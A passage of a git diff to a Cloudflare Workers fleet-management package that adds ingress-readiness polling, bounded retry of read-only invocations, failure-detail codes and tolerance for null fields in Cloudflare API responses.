...(detail ? { detail } : {}), resourcePrefix: evidence.resourcePrefix, resumeCount: evidence.resumeCount, scenario: evidence.scenario diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance.example.json b/packages/fleet-control/scripts/direct-credentialed-conformance.example.json index 35fcfa4c..67d8b038 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance.example.json +++ b/packages/fleet-control/scripts/direct-credentialed-conformance.example.json @@ -11,7 +11,7 @@ "sha256": "0000000000000000000000000000000000000000000000000000000000000000" }, "compatibilityDate": "2026-08-06", - "compatibilityFlags": [], + "compatibilityFlags": ["global_fetch_strictly_public"], "cpuLimitMs": 30000, "subrequestLimit": 10000, "requestTimeoutMs": 30000, diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts index f26eecaa..c054a0ae 100644 --- a/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectInvocationFailureDetail } from './direct-credentialed-invocation.mjs'; import type { DirectRunSnapshot, DirectTeardownFailure, @@ -33,6 +34,7 @@ export class DirectEvidenceWriteError extends Error { export function buildDirectEvidence( input: Readonly<{ snapshot: DirectRunSnapshot; + invocationFailureDetail?: DirectInvocationFailureDetail; prepared: PreparedDirectConformance; mode: 'run' | 'resume'; outcome: Readonly<{ diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs index 592c325e..19cc8e37 100644 --- a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs @@ -5,6 +5,7 @@ import { constants } from 'node:fs'; import { open, readFile, rename, unlink } from 'node:fs/promises'; import { createRequire } from 'node:module'; import { join } from 'node:path'; +import { DIRECT_INVOCATION_FAILURE_DETAILS } from './direct-credentialed-invocation.mjs'; import { DIRECT_RESIDUAL_SURFACES } from './direct-credentialed-run-state.mjs'; import { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs'; @@ -53,6 +54,7 @@ const settlement = (value) => pick(value, ['settledByReread']); export function buildDirectEvidence({ snapshot, + invocationFailureDetail, prepared, mode, outcome, @@ -61,6 +63,15 @@ export function buildDirectEvidence({ }) { const bootstrap = snapshot.bootstrap; const scenario = snapshot.scenario; + const invocationFailure = + snapshot.lastInvocation?.state === 'pending' && + DIRECT_INVOCATION_FAILURE_DETAILS.includes(invocationFailureDetail) + ? { + code: 'outcome-unknown', + ordinal: snapshot.lastInvocation.ordinal, + detail: invocationFailureDetail, + } + : null; const teardown = snapshot.teardown; const receipts = teardown?.receipts; const observation = (value) => pick(value, ['versionId', 'cpuLimitMs']); @@ -95,7 +106,7 @@ export function buildDirectEvidence({ })), scenario: nullable(scenario, (value) => ({ phase: value.phase, - failure: nullable(value.failure, (failure) => ({ + failure: nullable(value.failure ?? invocationFailure, (failure) => ({ code: failure.code, ordinal: failure.ordinal, detail: failure.detail ?? null, diff --git a/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts b/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts index 46713436..56c68ead 100644 --- a/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts @@ -18,14 +18,25 @@ export type DirectReferenceRefusalCode = | 'missing-continuation' | 'budget-exhausted'; +export const DIRECT_INVOCATION_FAILURE_DETAILS: readonly [ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', +]; +export type DirectInvocationFailureDetail = + (typeof DIRECT_INVOCATION_FAILURE_DETAILS)[number]; + export class DirectInvocationError extends Error { readonly code: DirectInvocationErrorCode; readonly attempts: DirectInvocationAttempts | undefined; + readonly detail: DirectInvocationFailureDetail | undefined; readonly referenceCode: DirectReferenceRefusalCode | undefined; constructor( code?: DirectInvocationErrorCode, attempts?: DirectInvocationAttempts, referenceCode?: DirectReferenceRefusalCode, + detail?: DirectInvocationFailureDetail, ); } @@ -53,3 +64,14 @@ export function createDirectInvocationClient( fetch?: typeof fetch; }>, ): DirectInvocationClient; + +export function awaitReferenceIngress( + input: Readonly<{ + prepared: PreparedDirectConformance; + accountWorkersDevSubdomain: string; + fetch?: typeof fetch; + deadlineMs?: number; + intervalMs?: number; + sleep?: (ms: number) => Promise; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-invocation.mjs b/packages/fleet-control/scripts/direct-credentialed-invocation.mjs index a640a371..33fd0796 100644 --- a/packages/fleet-control/scripts/direct-credentialed-invocation.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-invocation.mjs @@ -1,6 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 import { validateHeaderValue } from 'node:http'; +import https from 'node:https'; +import { Readable } from 'node:stream'; import { readBoundedBody } from '@proofoftech/flowsafe/host-kit'; import { deriveDirectConformanceNames, @@ -10,6 +12,32 @@ import { DirectRunStateError } from './direct-credentialed-run-state.mjs'; import { DIRECT_REFERENCE_PATH } from './direct-reference-contract.mjs'; const RESPONSE_BYTE_LIMIT = 4 * 1024 * 1024; +const JSON_CONTENT_TYPE = /^application\/json(?:;\s*charset=utf-8)?$/iu; +// workers.dev enablement propagates asynchronously. +const INGRESS_DEADLINE_MS = 120_000; +const INGRESS_INTERVAL_MS = 2_000; +/** + * Measured route flaps span at most 6 s after enablement and 3 s after the + * first contract answer; consecutive probes span the latter window. + */ +const INGRESS_STABLE_PROBES = 3; +// These handlers neither write the reference journal nor dispatch mutations. +const READ_ONLY_ACTIONS = new Map([ + ['control-read', null], + ['inventory-read', null], + ['audit-page', null], + ['migration-page', null], + ['cleanup-receipt', null], + ['decommission-export', null], + ['tenant-probe', new Set(['health', 'object-read'])], + ['tenant-fence', new Set(['read', 'inventory'])], +]); +export const DIRECT_INVOCATION_FAILURE_DETAILS = Object.freeze([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', +]); const ERROR_CODES = new Set([ 'invalid-input', 'invocation-busy', @@ -26,13 +54,16 @@ const REFERENCE_REFUSAL_STATUS = { }; export class DirectInvocationError extends Error { - constructor(code = 'invalid-input', attempts, referenceCode) { + constructor(code = 'invalid-input', attempts, referenceCode, detail) { const accepted = ERROR_CODES.has(code) ? code : 'invalid-input'; super(accepted); this.name = 'DirectInvocationError'; this.code = accepted; this.attempts = attempts; this.referenceCode = referenceCode; + this.detail = DIRECT_INVOCATION_FAILURE_DETAILS.includes(detail) + ? detail + : undefined; } } @@ -40,8 +71,13 @@ function invalid() { throw new DirectInvocationError(); } -function unknown() { - throw new DirectInvocationError('outcome-unknown'); +function unknown(detail) { + throw new DirectInvocationError( + 'outcome-unknown', + undefined, + undefined, + detail, + ); } function exactKeys(value, keys) { @@ -80,19 +116,179 @@ function readAttempts(headers, maxAttempts) { const attempts = {}; for (const kind of ['provider', 'maintenance', 'application']) { const value = headers.get(`X-Direct-${kind}-Attempts`); - if (value === null || !/^(?:0|[1-9][0-9]*)$/u.test(value)) unknown(); + if (value === null || !/^(?:0|[1-9][0-9]*)$/u.test(value)) + unknown('non-contract-answer'); const count = Number(value); - if (!Number.isSafeInteger(count) || count > maxAttempts) unknown(); + if (!Number.isSafeInteger(count) || count > maxAttempts) + unknown('non-contract-answer'); attempts[kind] = count; } if ( attempts.provider + attempts.maintenance + attempts.application > maxAttempts ) - unknown(); + unknown('non-contract-answer'); return Object.freeze(attempts); } +function referenceEndpoint(prepared, subdomain) { + const config = validateDirectConformanceConfig(prepared.config); + const names = deriveDirectConformanceNames(config); + if ( + typeof subdomain !== 'string' || + !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain) || + prepared.names.referenceWorker !== names.referenceWorker + ) + invalid(); + return { + config, + endpoint: `https://${names.referenceWorker}.${subdomain}.workers.dev${DIRECT_REFERENCE_PATH}`, + }; +} + +export async function awaitReferenceIngress(input) { + let endpoint; + let fetchRequest; + let deadlineMs; + let intervalMs; + let sleep; + try { + ({ endpoint } = referenceEndpoint( + input.prepared, + input.accountWorkersDevSubdomain, + )); + fetchRequest = input.fetch ?? globalThis.fetch; + deadlineMs = input.deadlineMs ?? INGRESS_DEADLINE_MS; + intervalMs = input.intervalMs ?? INGRESS_INTERVAL_MS; + sleep = + input.sleep ?? + ((ms) => new Promise((resolve) => setTimeout(resolve, ms))); + if ( + typeof fetchRequest !== 'function' || + typeof sleep !== 'function' || + !Number.isSafeInteger(deadlineMs) || + deadlineMs < 1 || + deadlineMs > 2_147_483_647 || + !Number.isSafeInteger(intervalMs) || + intervalMs < 1 || + intervalMs > 2_147_483_647 + ) + invalid(); + } catch { + invalid(); + } + const expiresAt = performance.now() + deadlineMs; + const deadline = new AbortController(); + const signal = deadline.signal; + let expire; + const expired = new Promise((resolve) => { + expire = () => { + deadline.abort(); + resolve(false); + }; + }); + const timer = setTimeout(expire, deadlineMs); + const active = () => !signal.aborted && performance.now() < expiresAt; + let consecutive = 0; + try { + while (active()) { + const exchange = (async () => { + let response; + try { + response = await fetchRequest(endpoint, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + Accept: 'application/json', + 'Cache-Control': 'no-store', + }, + body: '{}', + cache: 'no-store', + redirect: 'manual', + signal, + }); + if ( + !active() || + response.redirected || + response.status !== 401 || + response.headers.get('cache-control') !== 'no-store' || + response.headers.get('www-authenticate') !== 'Bearer' || + !JSON_CONTENT_TYPE.test(response.headers.get('content-type') ?? '') + ) + return false; + const body = response.body?.pipeThrough(new TransformStream(), { + signal, + }); + const bounded = await readBoundedBody( + new Request(endpoint, { + method: 'POST', + headers: response.headers, + body, + signal, + duplex: 'half', + }), + RESPONSE_BYTE_LIMIT, + ); + return ( + active() && + bounded.ok && + bounded.text === + '{"contractVersion":1,"ok":false,"error":{"code":"unauthorized"}}' + ); + } catch { + return false; + } finally { + cancelResponse(response); + } + })(); + consecutive = (await Promise.race([exchange, expired])) + ? consecutive + 1 + : 0; + if (active() && consecutive >= INGRESS_STABLE_PROBES) return true; + if (!active()) return false; + if (performance.now() + intervalMs >= expiresAt) { + await expired; + return false; + } + await Promise.race([sleep(intervalMs), expired]); + } + return false; + } finally { + clearTimeout(timer); + deadline.abort(); + } +} + +function requestReference(endpoint, { method, headers, body, signal }) { + return new Promise((resolve, reject) => { + const request = https.request( + endpoint, + { method, headers, signal, timeout: 0, agent: false }, + (incoming) => { + try { + const responseHeaders = new Headers(); + for (let index = 0; index < incoming.rawHeaders.length; index += 2) + responseHeaders.append( + incoming.rawHeaders[index], + incoming.rawHeaders[index + 1], + ); + resolve( + new Response(Readable.toWeb(incoming), { + status: incoming.statusCode, + headers: responseHeaders, + }), + ); + } catch (error) { + incoming.destroy(); + reject(error); + } + }, + ); + request.on('error', reject); + request.end(body); + }); +} + export function createDirectInvocationClient(input) { let endpoint; let configSha256; @@ -103,18 +299,19 @@ export function createDirectInvocationClient(input) { let authorization; try { const prepared = input.prepared; - const config = validateDirectConformanceConfig(prepared.config); - const names = deriveDirectConformanceNames(config); - const subdomain = input.accountWorkersDevSubdomain; + const resolved = referenceEndpoint( + prepared, + input.accountWorkersDevSubdomain, + ); + const config = resolved.config; + endpoint = resolved.endpoint; const secret = input.invokeSecret; journal = input.journal; - fetchRequest = input.fetch ?? globalThis.fetch; + fetchRequest = input.fetch ?? requestReference; configSha256 = prepared.configSha256; invocationTimeoutMs = config.referenceWorker.invocationTimeoutMs; maxAttempts = config.referenceWorker.maxProviderRequests; if ( - typeof subdomain !== 'string' || - !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain) || typeof secret !== 'string' || !secret || secret !== secret.trim() || @@ -124,8 +321,7 @@ export function createDirectInvocationClient(input) { typeof configSha256 !== 'string' || !/^[a-f0-9]{64}$/u.test(configSha256) || typeof prepared.referenceModuleSetSha256 !== 'string' || - !/^[a-f0-9]{64}$/u.test(prepared.referenceModuleSetSha256) || - prepared.names.referenceWorker !== names.referenceWorker + !/^[a-f0-9]{64}$/u.test(prepared.referenceModuleSetSha256) ) invalid(); const binding = journal.snapshot().binding; @@ -143,7 +339,6 @@ export function createDirectInvocationClient(input) { authorization ) invalid(); - endpoint = `https://${names.referenceWorker}.${subdomain}.workers.dev${DIRECT_REFERENCE_PATH}`; } catch { invalid(); } @@ -156,6 +351,8 @@ export function createDirectInvocationClient(input) { if (uncertain) unknown(); busy = true; let timer; + let deliveryTimer; + let retryTimer; let abortRead; let response; const deadline = new AbortController(); @@ -174,24 +371,54 @@ export function createDirectInvocationClient(input) { throw reservationError(error); } uncertain = true; - const expiresAt = performance.now() + invocationTimeoutMs; + const serializedAction = JSON.parse(serialized).action; + const operations = READ_ONLY_ACTIONS.get(serializedAction.kind); + const readOnly = + operations === null || + operations?.has(serializedAction.operation) === true; + let deliveryPending = true; + let redelivering = false; + let answerDetail = 'transport-failure'; + const startedAt = performance.now(); + const expiresAt = startedAt + invocationTimeoutMs; + const deliveryExpiresAt = Math.min( + expiresAt, + startedAt + INGRESS_DEADLINE_MS, + ); const assertActive = () => { - if (performance.now() >= expiresAt) deadline.abort(); + const now = performance.now(); + if (now >= expiresAt || (redelivering && now >= deliveryExpiresAt)) + deadline.abort(); signal.throwIfAborted(); }; + const abortDetail = () => + deliveryPending + ? readOnly && + redelivering && + (signal.aborted || performance.now() >= deliveryExpiresAt) + ? 'delivery-window-expired' + : answerDetail + : undefined; const aborted = new Promise((_, reject) => { abortRead = () => - reject(new DirectInvocationError('outcome-unknown')); + reject( + new DirectInvocationError( + 'outcome-unknown', + undefined, + undefined, + abortDetail(), + ), + ); signal.addEventListener('abort', abortRead, { once: true }); }); timer = setTimeout(() => deadline.abort(), invocationTimeoutMs); let outcome; try { - const actionKind = JSON.parse(serialized).action.kind; + const actionKind = serializedAction.kind; const exchange = (async () => { try { assertActive(); - response = await fetchRequest(endpoint, { + const request = { method: 'POST', headers: { Authorization: authorization, @@ -203,73 +430,139 @@ export function createDirectInvocationClient(input) { cache: 'no-store', redirect: 'manual', signal, - }); - assertActive(); - if ( - response.redirected || - ![200, 409, 503].includes(response.status) || - response.headers.get('cache-control') !== 'no-store' || - !/^application\/json(?:;\s*charset=utf-8)?$/iu.test( - response.headers.get('content-type') ?? '', - ) - ) - unknown(); - const attempts = readAttempts(response.headers, maxAttempts); - const body = response.body?.pipeThrough(new TransformStream(), { - signal, - }); - const bounded = await readBoundedBody( - new Request(endpoint, { - method: 'POST', - headers: response.headers, - body, - signal, - duplex: 'half', - }), - RESPONSE_BYTE_LIMIT, - ); - assertActive(); - if (!bounded.ok) unknown(); - const value = JSON.parse(bounded.text); - if (response.status === 200) { - if ( - !exactKeys(value, [ - 'contractVersion', - 'configSha256', - 'action', - 'ok', - 'result', - ]) || - value.contractVersion !== 1 || - value.configSha256 !== configSha256 || - value.action !== actionKind || - value.ok !== true - ) - unknown(); - } else { - if ( - !exactKeys(value, ['contractVersion', 'ok', 'error']) || - value.contractVersion !== 1 || - value.ok !== false || - !exactKeys(value.error, ['code']) - ) - unknown(); - const code = value.error.code; - if (code === 'injected-response-loss') { + }; + for (;;) { + let platformPage = false; + try { + assertActive(); + answerDetail = 'transport-failure'; + response = await fetchRequest(endpoint, request); + assertActive(); + answerDetail = 'non-contract-answer'; + const mediaType = response.headers + .get('content-type') + ?.split(';')[0] + ?.trim() + .toLowerCase(); + platformPage = + !response.redirected && + (mediaType === 'text/plain' || mediaType === 'text/html') && + response.headers.get('cache-control') !== 'no-store' && + !response.headers.has('www-authenticate'); + answerDetail = platformPage + ? 'platform-page' + : 'non-contract-answer'; if ( - response.status !== 503 || - actionKind !== 'migration-continue' + response.redirected || + ![200, 409, 503].includes(response.status) || + response.headers.get('cache-control') !== 'no-store' || + !JSON_CONTENT_TYPE.test( + response.headers.get('content-type') ?? '', + ) ) - unknown(); - } else if ( - typeof code !== 'string' || - !Object.hasOwn(REFERENCE_REFUSAL_STATUS, code) || - REFERENCE_REFUSAL_STATUS[code] !== response.status - ) - unknown(); + unknown(answerDetail); + redelivering = false; + if (deliveryTimer !== undefined) { + clearTimeout(deliveryTimer); + deliveryTimer = undefined; + } + const attempts = readAttempts(response.headers, maxAttempts); + const body = response.body?.pipeThrough( + new TransformStream(), + { + signal, + }, + ); + answerDetail = 'transport-failure'; + const bounded = await readBoundedBody( + new Request(endpoint, { + method: 'POST', + headers: response.headers, + body, + signal, + duplex: 'half', + }), + RESPONSE_BYTE_LIMIT, + ); + assertActive(); + answerDetail = 'non-contract-answer'; + if (!bounded.ok) unknown('non-contract-answer'); + const value = JSON.parse(bounded.text); + if (response.status === 200) { + if ( + !exactKeys(value, [ + 'contractVersion', + 'configSha256', + 'action', + 'ok', + 'result', + ]) || + value.contractVersion !== 1 || + value.configSha256 !== configSha256 || + value.action !== actionKind || + value.ok !== true + ) + unknown('non-contract-answer'); + } else { + if ( + !exactKeys(value, ['contractVersion', 'ok', 'error']) || + value.contractVersion !== 1 || + value.ok !== false || + !exactKeys(value.error, ['code']) + ) + unknown('non-contract-answer'); + const code = value.error.code; + if (code === 'injected-response-loss') { + if ( + response.status !== 503 || + actionKind !== 'migration-continue' + ) + unknown('non-contract-answer'); + } else if ( + typeof code !== 'string' || + !Object.hasOwn(REFERENCE_REFUSAL_STATUS, code) || + REFERENCE_REFUSAL_STATUS[code] !== response.status + ) + unknown('non-contract-answer'); + } + assertActive(); + deliveryPending = false; + return { value, attempts }; + } catch { + assertActive(); + const redeliver = + readOnly || (platformPage && response.status === 404); + if (!redeliver) unknown(answerDetail); + cancelResponse(response); + response = undefined; + const remaining = deliveryExpiresAt - performance.now(); + if (remaining <= 0) + unknown( + readOnly && redelivering + ? 'delivery-window-expired' + : answerDetail, + ); + redelivering = true; + if (deliveryExpiresAt < expiresAt) + deliveryTimer ??= setTimeout( + () => deadline.abort(), + remaining, + ); + if (remaining <= INGRESS_INTERVAL_MS) await aborted; + await Promise.race([ + new Promise((resolve) => { + retryTimer = setTimeout(resolve, INGRESS_INTERVAL_MS); + }), + aborted, + ]); + if (performance.now() >= deliveryExpiresAt) + unknown( + readOnly && redelivering + ? 'delivery-window-expired' + : answerDetail, + ); + } } - assertActive(); - return { value, attempts }; } finally { if (signal.aborted) cancelResponse(response); } @@ -278,7 +571,7 @@ export function createDirectInvocationClient(input) { assertActive(); await journal.settleInvocation(reservation); } catch { - unknown(); + unknown(abortDetail()); } uncertain = false; if (!outcome.value.ok) { @@ -296,6 +589,8 @@ export function createDirectInvocationClient(input) { return { result: outcome.value.result, attempts: outcome.attempts }; } finally { if (timer !== undefined) clearTimeout(timer); + if (deliveryTimer !== undefined) clearTimeout(deliveryTimer); + if (retryTimer !== undefined) clearTimeout(retryTimer); if (abortRead) signal.removeEventListener('abort', abortRead); deadline.abort(); cancelResponse(response); diff --git a/packages/fleet-control/scripts/direct-credentialed-observations.mjs b/packages/fleet-control/scripts/direct-credentialed-observations.mjs index b18d8a6e..40d02ee0 100644 --- a/packages/fleet-control/scripts/direct-credentialed-observations.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-observations.mjs @@ -371,7 +371,13 @@ export async function observeDirectWorkerVersion(input) { runtime.compatibility_date !== intent.compatibilityDate ) refuse(); - equal(runtime.compatibility_flags, intent.compatibilityFlags); + // The version resource omits compatibility_flags when the list is empty. + equal( + runtime.compatibility_flags === undefined + ? [] + : runtime.compatibility_flags, + intent.compatibilityFlags, + ); const resources = bindings(version.resources?.bindings, expected, true); const settings = await sdk.workers.scripts.scriptAndVersionSettings.get( expected.scriptName, @@ -434,9 +440,11 @@ async function queryRows(sdk, ctx, sql, params, limit) { }); if (!Array.isArray(page.result) || page.result.length !== 1) refuse(); const result = page.result[0]; + // Cloudflare returns errors: null on successful pages; accept it on statements too. if ( result.success !== true || (result.errors !== undefined && + result.errors !== null && (!Array.isArray(result.errors) || result.errors.length !== 0)) || (result.error !== undefined && result.error !== null) || !Array.isArray(result.results) || diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.mjs b/packages/fleet-control/scripts/direct-credentialed-provider.mjs index fbbdf16b..59ed2910 100644 --- a/packages/fleet-control/scripts/direct-credentialed-provider.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-provider.mjs @@ -124,6 +124,15 @@ function providerTransport(fetchRequest, timeoutMs) { timer = setTimeout(() => controller.abort(), Math.max(1, deadline)); try { signal.throwIfAborted(); + if (rawByteLimit !== undefined) { + const headers = new Headers( + init?.headers ?? + (input instanceof Request ? input.headers : undefined), + ); + // The export observation refuses compression even if the platform ignores identity. + headers.set('Accept-Encoding', 'identity'); + init = { ...init, headers }; + } const exchange = Promise.resolve( fetchRequest(input, { ...init, signal, redirect: 'manual' }), ).then((value) => { @@ -222,9 +231,11 @@ function providerTransport(fetchRequest, timeoutMs) { function validateEnvelope(value) { object(value); const cursor = value.result_info?.cursor; + // Cloudflare returns errors: null on successful pages. if ( value.success !== true || (value.errors !== undefined && + value.errors !== null && (!Array.isArray(value.errors) || value.errors.length !== 0)) || (typeof cursor === 'string' && cursor.length > 0) ) @@ -265,7 +276,8 @@ function proofFetch(transport, shape, bound) { refuse('provider-unavailable'); rows.forEach(object); const info = value.result_info; - if (info !== undefined) object(info); + // Successful Cloudflare pages can omit optional metadata with null. + if (info !== undefined && info !== null) object(info); const { cursor, total_pages: totalPages, diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index e8f920ae..5dfbe510 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -257,6 +257,10 @@ export const DIRECT_SCENARIO_FAILURES: readonly [ ]; export const DIRECT_SCENARIO_FAILURE_DETAILS: readonly [ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', 'phase-ceiling', 'run-reserve', 'below-scenario-floor', diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index 2b2a96e9..6afdf87b 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -324,6 +324,10 @@ export const DIRECT_SCENARIO_FAILURES = Object.freeze([ ]); export const DIRECT_SCENARIO_FAILURE_DETAILS = Object.freeze([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', 'phase-ceiling', 'run-reserve', 'below-scenario-floor', diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs index 32876ee5..cd9607fb 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs @@ -146,11 +146,16 @@ export async function runDirectCredentialedScenario(input) { } catch (caught) { error = caught; } + const detail = + error instanceof DirectInvocationError && failureDetails.has(error.detail) + ? error.detail + : undefined; const after = journal.snapshot(); requireFact( after.invocationCount === call.ordinal && after.lastInvocation?.state === 'settled', 'outcome-unknown', + detail, ); if (error) requireFact( @@ -158,6 +163,7 @@ export async function runDirectCredentialedScenario(input) { error.attempts && ['injected-response-loss', 'reference-refused'].includes(error.code), 'outcome-unknown', + detail ?? 'non-contract-answer', ); const attempts = error ? error.attempts : response.attempts; const settled = { diff --git a/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts b/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts index f50573eb..96ca223f 100644 --- a/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts +++ b/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts @@ -13,8 +13,12 @@ export interface CloudflareApiPlainWorkerBackendOptions { readonly client: CloudflareProvisioningClient; readonly fetch?: typeof fetch; readonly maintenanceRequestTimeoutMs?: number; + readonly maintenanceRouteReadyTimeoutMs?: number; + readonly maintenanceRouteReadyIntervalMs?: number; /** Stamps `observedAt` on an attestation. Injected so it can be pinned. */ readonly clock?: () => number; + /** Delays reconciled mutation retries. Defaults to a `setTimeout` promise. */ + readonly wait?: (ms: number) => Promise; } /** @@ -45,7 +49,10 @@ export class CloudflareApiPlainWorkerBackend extends PlainWorkerBackend { identityCaller: 'CloudflareApiPlainWorkerBackend.seedDeploymentIdentity', fetch: options.fetch, maintenanceRequestTimeoutMs: options.maintenanceRequestTimeoutMs, + maintenanceRouteReadyTimeoutMs: options.maintenanceRouteReadyTimeoutMs, + maintenanceRouteReadyIntervalMs: options.maintenanceRouteReadyIntervalMs, clock: options.clock, + wait: options.wait, }); } } diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 0564777b..2b0c0acd 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -34,13 +34,13 @@ import { listOrdinaryWorkerSecretNames, listOrdinaryWorkerVersions, MAX_DATABASE_INVENTORY, - type PreparedOrdinaryWorkerDeploymentVersions as OperationsPreparedOrdinaryWorkerDeploymentVersions, - type PreparedOrdinaryWorkerUpload as OperationsPreparedOrdinaryWorkerUpload, type OrdinaryWorkerContext, type OrdinaryWorkerFootprint, ordinaryWorkerDeploymentStatus, ordinaryWorkerSecretNames, ordinaryWorkerSubdomain, + type PreparedOrdinaryWorkerDeploymentVersions, + type PreparedOrdinaryWorkerUpload, prepareOrdinaryWorkerDeployment, prepareOrdinaryWorkerUpload, viewOrdinaryWorkerVersion, @@ -117,6 +117,14 @@ import type { ScriptInventoryTarget, } from './types.js'; +// The SDK's repeated type query parameters return no rows from the live API. +const WORKER_ROUTE_ZONE_TYPES = Object.freeze([ + 'full', + 'partial', + 'secondary', + 'internal', +] as const); + const AUDIT_CONSUMER_SETTINGS = Object.freeze({ batch_size: 100, max_concurrency: 4, @@ -278,12 +286,6 @@ export type { OrdinaryWorkerFootprint } from './cloudflare-ordinary-worker-opera const SCRIPT_INVENTORY_PREFIX = '__anchorage_script__:'; const FLEET_SCRIPT_TAG = 'fleet:anchorage'; -/** @inline */ -type PreparedOrdinaryWorkerUpload = OperationsPreparedOrdinaryWorkerUpload; -/** @inline */ -type PreparedOrdinaryWorkerDeploymentVersions = - OperationsPreparedOrdinaryWorkerDeploymentVersions; - export class CloudflareProviderRequestNotDispatchedError extends Error { constructor(cause: unknown) { super('Cloudflare provider request was not dispatched', { cause }); @@ -749,8 +751,9 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const result = readField(value, 'result'); const rows = shape === 'array' ? result : readField(result, 'items'); - const errors = readField(value, 'errors'); - const info = readField(value, 'result_info'); + // The versions list returns successful pages with errors: null. + const errors = readField(value, 'errors') ?? undefined; + const info = readField(value, 'result_info') ?? undefined; const cursor = readField(info, 'cursor'); const totalPages = readField(info, 'total_pages'); const totalCount = readField(info, 'total_count'); @@ -773,9 +776,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { (errors !== undefined && (!Array.isArray(errors) || errors.length !== 0)) || (info !== undefined && - (info === null || - typeof info !== 'object' || - Array.isArray(info))) || + (typeof info !== 'object' || Array.isArray(info))) || (cursor !== undefined && cursor !== null && typeof cursor !== 'string') || @@ -964,28 +965,48 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } async #workerRouteZoneIds(): Promise { - const verification = await this.#client.user.tokens.verify(); - if (verification.status !== 'active') { - throw new Error('Cloudflare API token is not active'); - } let token: | Awaited> | undefined; - try { - token = await this.#client.accounts.tokens.get(verification.id, { - account_id: this.#accountId, - }); - } catch { + for (const family of ['account', 'user'] as const) { try { - token = await this.#client.user.tokens.get(verification.id); - } catch { - throw new Error( - 'Cloudflare API token policy is unavailable; API Tokens Read is required for account-wide zone attestation', - ); + const verification = + family === 'account' + ? await this.#client.accounts.tokens.verify({ + account_id: this.#accountId, + }) + : await this.#client.user.tokens.verify(); + if (verification.status !== 'active') { + throw new Error('Cloudflare API token is not active'); + } + try { + token = + family === 'account' + ? await this.#client.accounts.tokens.get(verification.id, { + account_id: this.#accountId, + }) + : await this.#client.user.tokens.get(verification.id); + } catch (error) { + if (family === 'account') throw error; + throw new Error( + 'Cloudflare API token policy is unavailable; API Tokens Read is required for account-wide zone attestation', + ); + } + break; + } catch (error) { + if ( + family === 'account' && + error instanceof Cloudflare.APIError && + ([401, 403, 404, 405, 429].includes(error.status) || + (error.status >= 500 && error.status <= 599)) + ) { + continue; + } + throw error; } } if ( - token.status !== 'active' || + token?.status !== 'active' || !token.policies || token.policies.length === 0 ) { @@ -1003,7 +1024,6 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { this.#inventoryProofClient.zones.list({ account: { id: this.#accountId }, per_page: 50, - type: ['full', 'partial', 'secondary', 'internal'], }), 'zone inventory', )) { @@ -1017,6 +1037,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { 'Cloudflare account-wide zone discovery returned incomplete or duplicate zone metadata', ); } + if (typeof zone.type !== 'string') { + throw new Error( + 'Cloudflare account-wide zone discovery returned incomplete zone type metadata', + ); + } + if (!WORKER_ROUTE_ZONE_TYPES.some((type) => type === zone.type)) continue; seenZoneIds.add(zone.id); zoneIds.push(zone.id); } @@ -1799,7 +1825,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { per_page: R2_INVENTORY_PAGE_SIZE, ...(startAfter ? { start_after: startAfter } : {}), }); - return { buckets: page.buckets ?? [] }; + return { buckets: page.buckets === undefined ? [] : page.buckets }; }, ), }; @@ 